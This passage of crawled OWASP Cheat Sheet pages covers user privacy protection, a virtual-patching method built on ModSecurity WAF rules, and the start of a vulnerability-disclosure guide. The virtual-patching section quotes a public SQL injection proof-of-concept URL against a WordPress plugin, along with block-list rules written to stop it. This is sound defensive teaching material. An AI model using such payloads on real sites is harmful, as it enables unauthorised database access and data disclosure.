"", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "User Privacy Protection Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Guidelines¶"}, {"uroven": 3, "text": "Strong Cryptography¶"}, {"uroven": 3, "text": "Support HTTP Strict Transport Security¶"}, {"uroven": 3, "text": "Digital Certificate Pinning¶"}, {"uroven": 3, "text": "Panic Modes¶"}, {"uroven": 3, "text": "Remote Session Invalidation¶"}, {"uroven": 3, "text": "Allow Connections from Anonymity Networks¶"}, {"uroven": 3, "text": "Prevent IP Address Leakage¶"}, {"uroven": 3, "text": "Honesty & Transparency¶"}], "markdown": "# User Privacy Protection Cheat Sheet¶\n\n## Introduction¶\n\nThis OWASP Cheat Sheet introduces mitigation methods that web developers may utilize in order to protect their users from a vast array of potential threats and aggressions that might try to undermine their privacy and anonymity. This cheat sheet focuses on privacy and anonymity threats that users might face by using online services, especially in contexts such as social networking and communication platforms.\n\n## Guidelines¶\n\n### Strong Cryptography¶\n\nAny online platform that handles user identities, private information or communications must be secured with the use of strong cryptography. User communications must be encrypted in transit and storage. User secrets such as passwords must also be protected using strong, collision-resistant hashing algorithms with increasing work factors, in order to greatly mitigate the risks of exposed credentials as well as proper integrity control.\n\nTo protect data in transit, developers must use and adhere to TLS/SSL best practices such as verified certificates, adequately protected private keys, usage of strong ciphers only, informative and clear warnings to users, as well as sufficient key lengths. Private data must be encrypted in storage using keys with sufficient lengths and under strict access conditions, both technical and procedural. User credentials must be hashed regardless of whether or not they are encrypted in storage.\n\nFor detailed guides about strong cryptography and best practices, read the following OWASP references:\n\n1. [Cryptographic Storage Cheat Sheet](Cryptographic_Storage_Cheat_Sheet.html) .\n2. [Authentication Cheat Sheet](Authentication_Cheat_Sheet.html) .\n3. [Transport Layer Security Cheat Sheet](Transport_Layer_Security_Cheat_Sheet.html) .\n4. [Guide to Cryptography](https://wiki.owasp.org/index.php/Guide_to_Cryptography) .\n5. [Testing for TLS/SSL](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_SSL_TLS_Ciphers_Insufficient_Transport_Layer_Protection.html) .\n\n### Support HTTP Strict Transport Security¶\n\nHTTP Strict Transport Security (HSTS) is an HTTP header set by the server indicating to the user agent that only secure (HTTPS) connections are accepted, prompting the user agent to change all insecure HTTP links to HTTPS, and forcing the compliant user agent to fail-safe by refusing any TLS/SSL connection that is not trusted by the user.\n\nHSTS has average support on popular user agents, such as Mozilla Firefox and Google Chrome. Nevertheless, it remains very useful for users who are in consistent fear of spying and Man in the Middle Attacks.\n\nIf it is impractical to force HSTS on all users, web developers should at least give users the choice to enable it if they wish to make use of it.\n\nFor more details regarding HSTS, please visit:\n\n1. [HTTP Strict Transport Security in Wikipedia](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) .\n2. [IETF for HSTS RFC](https://tools.ietf.org/html/rfc6797) .\n3. [OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security](https://www.youtube.com/watch?v=zEV3HOuM_Vw) .\n\n### Digital Certificate Pinning¶\n\nCertificate Pinning is the practice of hardcoding or storing a predefined set of information (usually hashes) for digital certificates/public keys in the user agent (be it web browser, mobile app or browser plugin) such that only the predefined certificates/public keys are used for secure communication, and all others will fail, even if the user trusted (implicitly or explicitly) the other certificates/public keys.\n\nSome advantages for pinning are:\n\n- In the event of a CA compromise, in which a compromised CA trusted by a user can issue certificates for any domain, allowing evil perpetrators to eavesdrop on users.\n- In environments where users are forced to accept a potentially-malicious root CA, such as corporate environments or national PKI schemes.\n- In applications where the target demographic may not understand certificate warnings, and is likely to just allow any invalid certificate.\n\nFor details regarding certificate pinning, please refer to the following:\n\n1. [OWASP Certificate Pinning Cheat Sheet](Pinning_Cheat_Sheet.html) .\n2. [Public Key Pinning Extension for HTTP RFC](https://tools.ietf.org/html/rfc7469) .\n3. [Securing the SSL channel against man-in-the-middle attacks: Future technologies - HTTP Strict Transport Security and Pinning of Certs, by Tobias Gondrom](https://owasp.org/www-pdf-archive/OWASP_defending-MITMA_APAC2012.pdf) .\n\n### Panic Modes¶\n\nA panic mode is a mode that threatened users can refer to when they fall under direct threat to disclose account credentials.\n\nGiving users the ability to create a panic mode can help them survive these threats, especially in tumultuous regions around the world. Unfortunately many users around the world are subject to types of threats that most web developers do not know of or take into account.\n\nExamples of panic modes are modes where distressed users can delete their data upon threat, log into fake inboxes/accounts/systems, or invoke triggers to backup/upload/hide sensitive data.\n\nThe appropriate panic mode to implement differs depending on the application type. A disk encryption software such as VeraCrypt might implement a panic mode that starts up a fake system partition if the user entered their distressed password.\n\nEmail providers might implement a panic mode that hides predefined sensitive emails or contacts, allowing reading innocent email messages only, usually as defined by the user, while preventing the panic mode from overtaking the actual account.\n\nAn important note about panic modes is that they must not be easily discoverable, if at all. An adversary inside a victim's panic mode must not have any way, or as few possibilities as possible, of finding out the truth. This means that once inside a panic mode, most non-sensitive normal operations must be allowed to continue (such as sending or receiving email), and that further panic modes must be possible to create from inside the original panic mode (If the adversary tried to create a panic mode on a victim's panic mode and failed, the adversary would know they were already inside a panic mode, and might attempt to hurt the victim).\n\nAnother solution would be to prevent panic modes from being generated from the user account, and instead making it a bit harder to spoof by adversaries. For example it could be only created Out Of Band, and adversaries must have no way to know a panic mode already exists for that particular account.\n\nThe implementation of a panic mode must always aim to confuse adversaries and prevent them from reaching the actual accounts/sensitive data of the victim, as well as prevent the discovery of any existing panic modes for a particular account.\n\nFor more details regarding VeraCrypt's hidden operating system mode, please refer to:\n\n- [VeraCrypt Hidden Operating System](https://www.veracrypt.fr/en/Hidden%20Operating%20System.html) .\n\n### Remote Session Invalidation¶\n\nIn case user equipment is lost, stolen or confiscated, or under suspicion of cookie theft; it might be very beneficial for users to able to see view their current online sessions and disconnect/invalidate any suspicious lingering sessions, especially ones that belong to stolen or confiscated devices. Remote session invalidation can also helps if a user suspects that their session details were stolen in a Man-in-the-Middle attack.\n\nFor details regarding session management, please refer to:\n\n- [OWASP Session Management Cheat Sheet](Session_Management_Cheat_Sheet.html) .\n\n### Allow Connections from Anonymity Networks¶\n\nAnonymity networks, such as the Tor Project, give users in tumultuous regions around the world a golden chance to escape surveillance, access information or break censorship barriers. More often than not, activists in troubled regions use such networks to report injustice or send uncensored information to the rest of the world, especially mediums such as social networks, media streaming websites and email providers.\n\nWeb developers and network administrators must pursue every avenue to enable users to access services from behind such networks, and any policy made against such anonymity networks need to be carefully re-evaluated with respect to impact on people around the world.\n\nIf possible, application developers should try to integrate or enable easy coupling of their applications with these anonymity networks, such as supporting SOCKS proxies or integration libraries (e.g. OnionKit for Android).\n\nFor more information about anonymity networks, and the user protections they provide, please refer to:\n\n1. [The Tor Project](https://www.torproject.org) .\n2. [I2P Network](http://www.i2p2.de) .\n3. [OnionKit: Boost Network Security and Encryption in your Android Apps](https://github.com/guardianproject/OnionKit) .\n\n### Prevent IP Address Leakage¶\n\nPreventing leakage of user IP addresses is of great significance when user protection is in scope. Any application that hosts external third-party content, such as avatars, signatures or photo attachments; must take into account the benefits of allowing users to block third-party content from being loaded in the application page.\n\nIf it was possible to embed third-party, external domain images, for example, in a user's feed or timeline; an adversary might use it to discover a victim's real IP address by hosting it on their domain and watch for HTTP requests for that image.\n\nMany web applications need user content to operate, and this is completely acceptable as a business process; however web developers are advised to consider giving users the option of blocking external content as a precaution. This applies mainly to social networks and forums, but can also apply to web-based email, where images can be embedded in HTML-formatted emails.\n\nA similar issue exists in HTML-formatted emails that contain third-party images, however most email clients and providers block loading of third-party content by default; giving users better privacy and anonymity protection.\n\n### Honesty & Transparency¶\n\nIf the web application cannot provide enough legal or political protections to the user, or if the web application cannot prevent misuse or disclosure of sensitive information such as logs, the truth must be told to the users in a clear understandable form, so that users can make an educated choice about whether or not they should use that particular service.\n\nIf it doesn't violate the law, inform users if their information is being requested for removal or investigation by external entities.\n\nHonesty goes a long way towards cultivating a culture of trust between a web application and its users, and it allows many users around the world to weigh their options carefully, preventing harm to users in various contrasting regions around the world.\n\nMore insight regarding secure logging can be found at:\n\n- [OWASP Logging Cheat Sheet](Logging_Cheat_Sheet.html)", "znaku_textu": 10981, "slov": 1606, "odkazu": 152, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:17", "sha256": "0654edfa3de8f0b3fe31d9111f239efd131c640e8f32e4445197277fa9bb0e4c", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://wiki.owasp.org/index.php/Guide_to_Cryptography", "https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/01-Testing_for_Weak_SSL_TLS_Ciphers_Insufficient_Transport_Layer_Protection.html", "https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security", "https://tools.ietf.org/html/rfc6797", "https://www.youtube.com/watch?v=zEV3HOuM_Vw", "https://tools.ietf.org/html/rfc7469", "https://owasp.org/www-pdf-archive/OWASP_defending-MITMA_APAC2012.pdf", "https://www.veracrypt.fr/en/Hidden%20Operating%20System.html", "https://www.torproject.org/", "http://www.i2p2.de/", "https://github.com/guardianproject/OnionKit", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Virtual_Patching_Cheat_Sheet.html", "titulek": "Virtual Patching - OWASP Cheat Sheet Series", "h1": "Virtual Patching Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Virtual_Patching_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Virtual Patching Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Definition: Virtual Patching¶"}, {"uroven": 2, "text": "Why Not Just Fix the Code¶"}, {"uroven": 2, "text": "Value of Virtual Patching¶"}, {"uroven": 2, "text": "Virtual Patching Tools¶"}, {"uroven": 2, "text": "A Virtual Patching Methodology¶"}, {"uroven": 2, "text": "Example Public Vulnerability¶"}, {"uroven": 2, "text": "Preparation Phase¶"}, {"uroven": 2, "text": "Identification Phase¶"}, {"uroven": 3, "text": "Proactive Identification¶"}, {"uroven": 3, "text": "Reactive Identification¶"}, {"uroven": 2, "text": "Analysis Phase¶"}, {"uroven": 2, "text": "Virtual Patch Creation Phase¶"}, {"uroven": 3, "text": "Manual Virtual Patch Creation¶"}, {"uroven": 4, "text": "Positive Security (Allow List) Virtual Patches (Recommended Solution)¶"}, {"uroven": 5, "text": "Example Allow List ModSecurity Virtual Patch¶"}, {"uroven": 4, "text": "Negative Security (Block List) Virtual Patches¶"}, {"uroven": 5, "text": "Example Block List ModSecurity Virtual Patch¶"}, {"uroven": 4, "text": "Which Method is Better for Virtual Patching – Positive or Negative Security¶"}, {"uroven": 4, "text": "Beware of Exploit-Specific Virtual Patches¶"}, {"uroven": 3, "text": "Automated Virtual Patch Creation¶"}, {"uroven": 2, "text": "Implementation/Testing Phase¶"}, {"uroven": 3, "text": "Testing Steps¶"}, {"uroven": 2, "text": "Recovery/Follow-Up Phase¶"}, {"uroven": 2, "text": "References¶"}], "markdown": "# Virtual Patching Cheat Sheet¶\n\n## Introduction¶\n\nThe goal with this cheat Sheet is to present a concise virtual patching framework that organizations can follow to maximize the timely implementation of mitigation protections.\n\n## Definition: Virtual Patching¶\n\n**A security policy enforcement layer which prevents and reports the exploitation attempt of a known vulnerability.**\n\nThe virtual patch works when the security enforcement layer analyzes transactions and intercepts attacks in transit, so malicious traffic never reaches the web application. The resulting impact of virtual patching is that, while the actual source code of the application itself has not been modified, the exploitation attempt does not succeed.\n\n## Why Not Just Fix the Code¶\n\nFrom a purely technical perspective, the number one remediation strategy would be for an organization to correct the identified vulnerability within the source code of the web application. This concept is universally agreed upon by both web application security experts and system owners. Unfortunately, in real world business situations, there arise many scenarios where updating the source code of a web application is not easy such as:\n\n- **Lack of resources** - Devs are already allocated to other projects.\n- **Third-party Software** - Code can not be modified by the user.\n- **Outsourced App Dev** - Changes would require a new project.\n\nThe important point is this - **Code level fixes and Virtual Patching are NOT mutually exclusive**. They are processes that are executed by different team (OWASP Builders/Devs vs. OWASP Defenders/OpSec) and can be run in tandem.\n\n## Value of Virtual Patching¶\n\nThe two main goals of Virtual Patching are:\n\n- **Minimize Time-to-Fix** - Fixing application source code takes time. The main purpose of a virtual patch is to implement a mitigation for the identified vulnerability as soon as possible. The urgency of this response may be different: for example if the vulnerability was identified in-house through code reviews or penetration testing vs. finding a vulnerability as part of live incident response.\n- **Attack Surface Reduction** - Focus on minimizing the attack vector. In some cases, such as missing positive security input validation, it is possible to achieve 100% attack surface reduction. In other cases, such with missing output encoding for XSS flaws, you may only be able to limit the exposures. Keep in mind - 50% reduction in 10 minutes is better than 100% reduction in 48 hrs.\n\n## Virtual Patching Tools¶\n\nNotice that the definition above did not list any specific tool as there are a number of different options that may be used for virtual patching efforts such as:\n\n- Intermediary devices such as a WAF or IPS appliance\n- Web server plugin such as ModSecurity\n- Application layer filter such as ESAPI WAF\n\nFor example purposes, we will show virtual patching examples using the open source [ModSecurity WAF tool](http://www.modsecurity.org).\n\n## A Virtual Patching Methodology¶\n\nVirtual Patching, like most other security processes, is not something that should be approached haphazardly. Instead, a consistent, repeatable process should be followed that will provide the best chances of success. The following virtual patching workflow mimics the industry accepted practice for conducting IT Incident Response and consists of the following phases:\n\n1. Preparation.\n2. Identification.\n3. Analysis.\n4. Virtual Patch Creation.\n5. Implementation/Testing.\n6. Recovery/Follow Up.\n\n## Example Public Vulnerability¶\n\nLet's take the following [SQL Injection vulnerability](https://packetstormsecurity.com/files/119217/WordPress-Shopping-Cart-8.1.14-Shell-Upload-SQL-Injection.html) as our example for the remainder of this article:\n\n```\nWordPress Shopping Cart Plugin for WordPress\n/wp-content/plugins/levelfourstorefront/scripts/administration/exportsubscribers.php\nreqID Parameter prone to SQL Injection.\n```\n\n**Description**:\n\nWordPress Shopping Cart Plugin for WordPress contains a flaw that may allow an attacker to carry out an SQL injection attack.\n\nThe issue is due to the `/wp-content/plugins/levelfourstorefront/scripts/administration/exportsubscribers.php` script not properly sanitizing user-supplied input to the `reqID` parameter.\n\nThis may allow an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.\n\n## Preparation Phase¶\n\nThe importance of properly utilizing the preparation phase with regards to virtual patching cannot be overstated. You need to do a number of things to setup the virtual patching processes and framework **prior** to actually having to deal with an identified vulnerability, or worse yet, react to a live web application intrusion. The point is that during a live compromise is not the ideal time to be proposing installation of a web application firewall and the concept of a virtual patch. Tension is high during real incidents and time is of the essence, so lay the foundation of virtual patching when the waters are calm and get everything in place and ready to go when an incident does occur.\n\nHere are a few critical items that should be addressed during the preparation phase:\n\n- **Public/Vendor Vulnerability Monitoring** - Ensure that you are signed up for all vendor alert mail-lists for commercial software that you are using. This will ensure that you will be notified in the event that the vendor releases vulnerability information and patching data.\n\n- **Virtual Patching Pre-Authorization** – Virtual Patches need to be implemented quickly so the normal governance processes and authorizations steps for standard software patches need to be expedited. Since virtual patches are not actually modifying source code, they do not require the same amount of regression testing as normal software patches. Categorizing virtual patches in the same group as Anti-Virus updates or Network IDS signatures helps to speed up the authorization process and minimize extended testing phases.\n\n- **Deploy Virtual Patching Tool In Advance** - As time is critical during incident response, it would be a poor time to have to get approvals to install new software. For instance, you can install ModSecurity WAF in embedded mode on your Apache servers, or an Apache reverse proxy server. The advantage with this deployment is that you can create fixes for non-Apache back-end servers. Even if you do not use ModSecurity under normal circumstances, it is best to have it \"on deck\" ready to be enabled if need be.\n- **Increase HTTP Audit Logging** – The standard Common Log Format (CLF) utilized by most web servers does not provide adequate data for conducting proper incident response. You need to have access to the following HTTP data:\n - Request URI (including QUERY_STRING)\n - Full Request Headers (including Cookies)\n - Full Request Body (POST payload)\n - Full Response Headers\n - Full Response Body\n\n## Identification Phase¶\n\nThe Identification Phase occurs when an organization becomes aware of a vulnerability within their web application. There are generally two different methods of identifying vulnerabilities: `Proactive` and `Reactive`.\n\n### Proactive Identification¶\n\nThis occurs when an organization takes it upon themselves to assess their web security posture and conducts the following tasks:\n\n- **Dynamic Application Assessments** - Ethical attackers conduct penetration tests or automated web assessment tools are run against the live web application to identify flaws.\n- **Source code reviews** - Ethical attackers use manual/automated means to analyze the source code of the web application to identify flaws.\n\nDue to the fact that custom coded web applications are unique, these proactive identification tasks are extremely important as you are not able to rely upon third-party vulnerability notifications.\n\n### Reactive Identification¶\n\nThere are three main reactive methods for identifying vulnerabilities:\n\n- **Vendor contact (e.g. pre-warning)** - Occurs when a vendor discloses a vulnerability for commercial web application software that you are using. Example is Microsoft's [Active Protections Program (MAPP)](https://www.microsoft.com/en-us/msrc/mapp)\n- **Public disclosure** - Public vulnerability disclosure for commercial/open source web application software that you are using. The threat level for public disclosure is increased as more people know about the vulnerability.\n- **Security incident** – This is the most urgent situation as the attack is active. In these situations, remediation must be immediate.\n\n## Analysis Phase¶\n\nHere are the recommended steps to start the analysis phase:\n\n1. **Determine Virtual Patching Applicability** - Virtual patching is ideally suited for injection-type flaws but may not provide an adequate level of attack surface reduction for other attack types or categories. Thorough analysis of the underlying flaw should be conducted to determine if the virtual patching tool has adequate detection logic capabilities.\n2. **Utilize Bug Tracking/Ticketing System** - Enter the vulnerability information into a bug tracking system for tracking purposes and metrics. Recommend you use ticketing systems you already use such as Jira or you may use a specialized tool such as [ThreadFix](https://threadfix.it/) .\n3. **Verify the name of the vulnerability** - This means that you need to have the proper public vulnerability identifier (such as CVE name/number) specified by the vulnerability announcement, vulnerability scan, etc. If the vulnerability is identified proactively rather than through public announcements, then you should assign your own unique identifier to each vulnerability.\n4. **Designate the impact level** - It is always important to understand the level of criticality involved with a web vulnerability. Information leakages may not be treated in the same manner as an SQL Injection issue.\n5. **Specify which versions of software are impacted** - You need to identify what versions of software are listed so that you can determine if the version(s) you have installed are affected.\n6. **List what configuration is required to trigger the problem** - Some vulnerabilities may only manifest themselves under certain configuration settings.\n7. **List Proof of Concept (PoC) exploit code or payloads used during attacks/testing** - Many vulnerability announcements have accompanying exploit code that shows how to demonstrate the vulnerability. If this data is available, make sure to download it for analysis. This will be useful later on when both developing and testing the virtual patch.\n\n## Virtual Patch Creation Phase¶\n\nThe process of creating an accurate virtual patch is bound by two main tenants:\n\n1. **No false positives** - Do not ever block legitimate traffic under any circumstances.\n2. **No false negatives** - Do not ever miss attacks, even when the attacker intentionally tries to evade detection.\n\nCare should be taken to attempt to minimize either of these two rules. It may not be possible to adhere 100% to each of these goals but remember that virtual patching is about **Risk Reduction**. It should be understood by business owners that while you are gaining the advantage of shortening the Time-to-Fix metric, you may not be implementing a complete fix for the flaw.\n\n### Manual Virtual Patch Creation¶\n\n#### Positive Security (Allow List) Virtual Patches (**Recommended Solution**)¶\n\nPositive security model (allowlist) is a comprehensive security mechanism that provides an independent input validation envelope to an application. The model specifies the characteristics of valid input (character set, length, etc…) and denies anything that does not conform. By defining rules for every parameter in every page in the application the application is protected by an additional security envelop independent from its code.\n\n##### Example Allow List ModSecurity Virtual Patch¶\n\nIn order to create an allow-list virtual patch, you must be able to verify what the normal, expected input values are. If you have implemented proper audit logging as part of the Preparation Phase, then you should be able to review audit logs to identify the format of expected input types. In this case, the `reqID` parameter is supposed to only hold integer characters so we can use this virtual patch:\n\n```\n##\n## Verify we only receive 1 parameter called \"reqID\"\n##\nSecRule REQUEST_URI \"@contains /wp-content/plugins/levelfourstorefront/scripts/administration/exportsubscribers.php\" \"chain,id:1,phase:2,t:none,t:Utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase,block,msg:'Input Validation Error for \\'reqID\\' parameter - Duplicate Parameters Names Seen.',logdata:'%{matched_var}'\"\n SecRule &ARGS:/reqID/ \"!@eq 1\"\n\n##\n## Verify reqID's payload only contains integers\n##\nSecRule REQUEST_URI \"@contains /wp-content/plugins/levelfourstorefront/scripts/administration/exportsubscribers.php\" \"chain,id:2,phase:2,t:none,t:Utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase,block,msg:'Input Validation Error for \\'reqID\\' parameter.',logdata:'%{args.reqid}'\"\n SecRule ARGS:/reqID/ \"!@rx ^[0-9]+$\"\n```\n\nThis virtual patch will inspect the `reqID` parameter value on the specified page and prevent any characters other than integers as input.\n\n- **Note** - You should make sure to assign rule IDs properly and track them in the bug tracking system.\n- **Caution** : There are numerous evasion vectors when creating virtual patches. Please consult the [OWASP Best Practices: Virtual Patching document](https://owasp.org/www-community/Virtual_Patching_Best_Practices) for a more thorough discussion on countering evasion methods.\n\n#### Negative Security (Block List) Virtual Patches¶\n\nA negative security model (denylist) is based on a set of rules that detect specific known attacks rather than allow only valid traffic.\n\n##### Example Block List ModSecurity Virtual Patch¶\n\nHere is the example [PoC code](https://packetstormsecurity.com/files/119217/WordPress-Shopping-Cart-8.1.14-Shell-Upload-SQL-Injection.html) that was supplied by the public advisory:\n\n```\nhttp://localhost/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/exportsubscribers.php?reqID=1' or 1='1\n```\n\nLooking at the payload, we can see that the attacker is inserting a single quote character and then adding additional SQL query logic to the end. Based on this data, we could disallow the single quote character like this:\n\n```\nSecRule REQUEST_URI \"@contains /wp-content/plugins/levelfourstorefront/scripts/administration/exportsubscribers.php\" \"chain,id:1,phase:2,t:none,t:Utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase,block,msg:'Input Validation Error for \\'reqID\\' parameter.',logdata:'%{args.reqid}'\"\n SecRule ARGS:/reqID/ \"@pm '\"\n```\n\n#### Which Method is Better for Virtual Patching – Positive or Negative Security¶\n\nA virtual patch may employ either a positive or negative security model. Which one you decide to use depends on the situation and a few different considerations. For example, negative security rules can usually be implemented more quickly, however the possible evasions are more likely.\n\nPositive security rules, only the other hand, provides better protection however it is often a manual process and thus is not scalable and difficult to maintain for large/dynamic sites. While manual positive security rules for an entire site may not be feasible, a positive security model can be selectively employed when a vulnerability alert identifies a specific location with a problem.\n\n#### Beware of Exploit-Specific Virtual Patches¶\n\nYou want to resist the urge to take the easy road and quickly create an **exploit-specific virtual patch**.\n\nFor instance, if an authorized penetration test identified an XSS vulnerability on a page and used the following attack payload in the report:\n\n```\n \n```\n\nIt would not be wise to implement a virtual patch that simply blocks that exact payload. While it may provide some immediate protection, its long term value is significantly decreased.\n\n### Automated Virtual Patch Creation¶\n\nManual patch creation may become unfeasible as the number of vulnerabilities grow and automated means may become necessary. If the vulnerabilities were identified using automated tools and an XML report is available, it is possible to leverage automated processes to auto-convert this vulnerability data into virtual patches for protection systems.\n\nThree examples include:\n\n- **OWASP ModSecurity Core Rule Set (CRS) Scripts** - The OWASP CRS includes scripts to auto-convert XML output from tools such as [ZAP into ModSecurity Virtual Patches]. Reference [here](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-advanced-topic-of-the-week-automated-virtual-patching-using-owasp-zed-attack-proxy) .\n- **ThreadFix Virtual Patching** - ThreadFix also includes automated processes of converting imported vulnerability XML data into virtual patches for security tools such as ModSecurity. Reference [here](https://github.com/denimgroup/threadfix/wiki/Waf-Types#mod_security) .\n- **Direct Importing to WAF Device** - Many commercial WAF products have the capability to import DAST tool XML report data and automatically adjust their protection profiles.\n\n## Implementation/Testing Phase¶\n\nIn order to accurately test out the newly created virtual patches, it may be necessary to use an application other than a web browser. Some useful tools are:\n\n- Web browser.\n- Command-line web clients such as Curl and Wget.\n- Local Proxy Servers such as [ZAP](https://www.zaproxy.org/) .\n- [ModSecurity AuditViewer](https://web.archive.org/web/20181011065823/http://www.jwall.org/web/audit/viewer.jsp) – which allows you to load a ModSecurity audit log file, manipulate it and then re-inject the data back into any web server.\n\n### Testing Steps¶\n\n- Implement virtual patches initially in a \"Log Only\" configuration to ensure that you do not block any normal user traffic (false positives).\n- If the vulnerability was identified by a specific tool or assessment team - request a retest.\n- If retesting fails due to evasions, then you must go back to the Analysis phase to identify how to better fix the issue.\n\n## Recovery/Follow-Up Phase¶\n\n- **Update Data in Ticket System** - Although you may need to expedite the implementation of virtual patches, you should still track them in your normal Patch Management processes. This means that you should create proper change request tickets, etc… so that their existence and functionality is documented. Updating the ticket system also helps to identify \"time-to-fix\" metrics for different vulnerability types. Make sure to properly log the virtual patch rule ID values.\n- **Periodic Re-assessments** - You should also have periodic re-assessments to verify if/when you can remove previous virtual patches if the web application code has been updated with the real source code fix. I have found that many people opt to keep virtual patches in place due to better identification/logging vs. application or db capabilities.\n- **Running Virtual Patch Alert Reports** - Run reports to identify if/when any of your virtual patches have triggered. This will show value for virtual patching in relation to windows of exposure for source code time-to-fix.\n\n## References¶\n\n- [OWASP Virtual Patching Best Practices](https://owasp.org/www-community/Virtual_Patching_Best_Practices) .\n- [OWASP Securing WebGoat with ModSecurity](https://wiki.owasp.org/index.php/Category:OWASP_Securing_WebGoat_using_ModSecurity_Project) .", "znaku_textu": 19134, "slov": 2719, "odkazu": 166, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:19:18", "sha256": "3946e8c352d2e889169e57e9ec4a30d07bee2e398acce849d420eb9c11914d67", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "http://www.modsecurity.org/", "https://packetstormsecurity.com/files/119217/WordPress-Shopping-Cart-8.1.14-Shell-Upload-SQL-Injection.html", "https://www.microsoft.com/en-us/msrc/mapp", "https://threadfix.it/", "https://owasp.org/www-community/Virtual_Patching_Best_Practices", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-advanced-topic-of-the-week-automated-virtual-patching-using-owasp-zed-attack-proxy", "https://github.com/denimgroup/threadfix/wiki/Waf-Types", "https://www.zaproxy.org/", "http://www.jwall.org/web/audit/viewer.jsp", "https://wiki.owasp.org/index.php/Category:OWASP_Securing_WebGoat_using_ModSecurity_Project", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html", "titulek": "Vulnerability Disclosure - OWASP Cheat Sheet Series", "h1": "Vulnerability Disclosure Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Vulnerability Disclosure Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Methods of Disclosure¶"}, {"uroven": 3, "text": "Private Disclosure¶"}, {"uroven": 3, "text": "Full Disclosure¶"}, {"uroven": 3, "text": "Responsible or Coordinated Disclosure¶"}, {"uroven": 2, "text": "Reporting Vulnerabilities¶"}, {"uroven": 3, "text": "Warnings and Legality¶"}, {"uroven": 3, "text": "Finding Contact Details¶"}, {"uroven": 3, "text": "Initial Report¶"}, {"uroven": 3, "text": "Ongoing Communication¶"}, {"uroven": 3, "text": "When to Give Up¶"}, {"uroven": 3, "text": "Publishing¶"}, {"uroven": 2, "text": "Receiving Vulnerability Reports¶"}, {"uroven": 3, "text": "Bug Bounty Programs¶"}, {"uroven": 4, "text": "When to Implement a Bug Bounty Program¶"}, {"uroven": 3, "text": "Publishing Contact Details¶"}, {"uroven": 4, "text": "Providing Reporting Guidelines¶"}, {"uroven": 3, "text": "Communicating With Researchers¶"}, {"uroven": 4, "text": "Researchers Demanding Payment¶"}, {"uroven": 3, "text": "Disclosure¶"}, {"uroven": 4, "text": "Commercial and Open Source Software¶"}, {"uroven": 4, "text": "Private Systems¶"}, {"uroven": 3, "text": "Rewarding Researchers¶"}, {"uroven": 2, "text": "Further Reading¶"}], "markdown": "# Vulnerability Disclosure Cheat Sheet¶\n\n## Introduction¶\n\nThis cheat sheet is intended to provide guidance on the vulnerability disclosure process for both security researchers and organizations. This is an area where collaboration is extremely important, but that can often result in conflict between the two parties.\n\n**Researchers should:**\n\n- Ensure that any testing is legal and authorized.\n- Respect the privacy of others.\n- Make reasonable efforts to contact the security team of the organization.\n- Provide sufficient details to allow the vulnerabilities to be verified and reproduced.\n- Not demand payment or rewards for reporting vulnerabilities outside of an established bug bounty program.\n\n**Organizations should:**\n\n- Provide a clear method for researchers to securely report vulnerabilities.\n- Clearly establish the scope and terms of any bug bounty programs.\n- Respond to reports in a reasonable timeline.\n- Communicate openly with researchers.\n- Not threaten legal action against researchers.\n- Request CVEs where appropriate.\n- Publish clear security advisories and changelogs.\n- Offer rewards and credit.\n\n## Methods of Disclosure¶\n\nThere are a number of different models that can be followed when disclosing vulnerabilities, which are listed in the sections below.\n\n### Private Disclosure¶\n\nIn the private disclosure model, the vulnerability is reported privately to the organization. The organization may choose to publish the details of the vulnerabilities, but this is done at the discretion of the organization, not the researcher, meaning that many vulnerabilities may never be made public. The majority of bug bounty programs require that the researcher follows this model.\n\nThe main problem with this model is that if the vendor is unresponsive, or decides not to fix the 